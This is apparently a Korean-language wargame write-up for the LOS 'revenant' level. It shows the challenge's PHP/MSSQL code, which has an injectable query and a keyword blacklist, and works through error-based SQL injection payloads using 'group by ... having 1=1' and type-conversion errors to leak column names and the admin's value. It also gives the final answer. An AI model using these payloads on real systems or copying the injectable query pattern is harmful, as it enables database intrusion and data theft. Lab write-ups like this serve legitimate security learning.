WriteUp/LOS_rubiya

LOS -rubiya : revenant

vared 2020. 5. 14. 23:21

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");

  $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";

  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select * from prob_revenant where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  highlight_file(__FILE__);
?>

이전 문제랑 동일하게 mssql 이용해서 문제를 푼다.

필터링 항목부터 체크해보면, master sys information prob ; waitfor _ 필터링한다.

id admin 항목의 인덱스 4 값을 알아내면 문제가 풀린다.


<해설>

error 값을 보여주기 때문에 error based sql injection   같은데

이전 문제랑 동일하게

?id=a' having 1=1 --

넣어주게 되면 ,

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

다음과같은 에러를 띄워준다.

?id=admin' or pw=1 --

guest 라는 값을 알려준다.

에러를 여러 띄우거나, 원하는 index 에러를 띄우고 싶은데,

 

테이블 이름부터 알아보자

?id=' having 1=1 --

prob_revenant.id

-> 이건 prob 들어가 있으니까 써먹지는 못할거같다.

?id=' group by id having 1=1 --

-> pw 라는 컬럼 값이 나왔다.

 

여기서 감을 잡았다.

group by 해주면 다음 column 에러가 나서 노출되게 된다.

 

?id=' group by id,pw having 1=1 --

->45a88487라는 컬럼 값이 나오고,

?id=' group by id,pw,45a88487 having 1=1 --

-> 아예 오류가 나오네, syntax 오류라고 한다.

 

SQL 컬럼 생성 규칙중에 "문자" 시작해야 한다는 조건이 있다.

그렇다면 앞부분에 누락이 생겼을 수도 있을 거같은데,,,

구글링해 보니,

숫자 이름의 컬럼은 "" 사용해야한다고 한다.

 

?id=' group by id,pw,"45a88487" having 1=1 --

그다음으로 나온 컬럼 값은 13477a35이다.

 

근데 이건 인덱스가 5. 주석에는 5번째 칼럼을 따라고 했는데,,,,

코드를 보면 4번째 인덱스를 물어보네,,,

코드가 맞는거니까 코드대로 해보자.

한번 더해보면.

9604b0c8 나온다.

 

?id=' group by id,pw,"45a88487","9604b0c8" having 1=1 --

9604b0c8 답인줄 알았다.

우리가 구한것은 칼럼이름이지, 값이 아니다.

 

값을 구해보자.

?id=admin' and "9604b0c8"=1 --

이렇게 해서 data type 에러를 만들어주면 된다.

f7106bc652b5ba39c294be2d0097a9c1

라는 값이 나왔다.

 

 

Clear!